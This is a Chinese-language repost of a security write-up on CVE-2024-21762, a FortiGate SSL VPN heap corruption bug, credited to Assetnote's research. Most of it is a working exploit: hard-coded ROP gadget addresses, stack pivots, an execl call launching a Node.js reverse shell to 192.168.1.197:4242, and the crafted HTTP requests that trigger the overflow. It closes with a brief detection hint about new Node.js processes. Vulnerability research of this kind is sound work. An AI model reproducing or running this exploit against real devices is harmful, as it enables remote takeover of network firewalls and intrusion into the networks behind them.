两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

admin 2024年3月19日11:12:15评论52 views字数 2991阅读9分58秒阅读模式

两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

漏洞描述:

最近,一项新的安全漏洞被发现,影响了FortiGate网络设备,这个漏洞可能导致远程执行代码或者拒绝服务攻击。该漏洞的本质是内存损坏,源于对输入数据的不正确处理。攻击者可以利用这个漏洞来执行恶意代码,甚至可能获取对受感染设备的完全控制。

两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE


漏洞原因:

该漏洞的根本原因在于FortiGate设备在处理输入数据时的逻辑错误。具体来说,当设备处理表单参数时,未能正确验证参数的大小和内容,导致了对堆内存的不当操作。攻击者可以利用这个缺陷,通过精心构造的恶意输入来触发内存损坏。


漏洞利用过程

攻击者可以通过发送包含恶意表单参数的请求来利用这个漏洞。这些恶意参数可能包括特定大小和内容的输入,这将导致FortiGate设备在处理这些数据时出现内存损坏。攻击者可以通过调整输入参数的大小和内容来进一步控制内存损坏的影响,最终实现远程代码执行或者拒绝服务攻击。


ROP链构建:

在构建ROP链时,我们首先找到了一个适合的工具来实现堆栈旋转,确保了寄存器的状态正确。然后,通过另一个堆栈枢轴来向前推进堆栈,确保有足够的空间来设置我们的调用。接下来,我们设置了调用execl函数所需的寄存器,包括设置rdi、rsi、rdx、rcx和r8等寄存器。最后,我们移动堆栈指针,以防止与参数发生冲突,并返回到execl函数的调用点,结束了有效负载的构建。

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;rop += b"%00%00%00%00%00%00%00%00" # zero rcxrop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copyrop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"e_flag = b"-e%00"js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payloadform_value += b"B"*438 + pivot_2 + getcwd_ptrform_value += b"B"*32 + pivot_1form_value += b"B"*168 + call_execlform_value += b"B"*432 + ssl_do_handshake_ptrform_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1rn"data += b"Host: 192.168.1.229rn"data += f"Content-Length: {len(body)}rn".encode("utf-8")data += b"rn"data += body
ssock1 = make_sock(TARGET, PORT)ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1rn"data += b"Host: 192.168.1.229rn"data += b"Transfer-Encoding: chunkedrn"data += b"rn"data += b"0"*4137 + b""data += b"A"*1 + b"rnrn"
ssock2.sendall(data)

通过构建的漏洞利用程序,获取了反向 shell,证明了ROP链的有效性,并成功利用了FortiGate漏洞。


结论:

此次漏洞再次突显了网络/安全设备中严重的内存损坏问题。尽管已经存在一些缓解措施,但关键在于是否应用它们。针对此漏洞的IOC方面尚未发布太多信息,但监视新的Node.js进程可能会有所帮助。


参考文章:

https://www.assetnote.io/resources/research/two-bytes-is-plenty-fortigate-rce-with-cve-2024-21762



感谢您抽出

两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

.

两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

.

两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

来阅读本文

两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月19日11:12:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   两个字节就足够了:带有 CVE-2024-21762 的 FortiGate RCEhttp://cn-sec.com/archives/2582868.html

发表评论

匿名网友 填写信息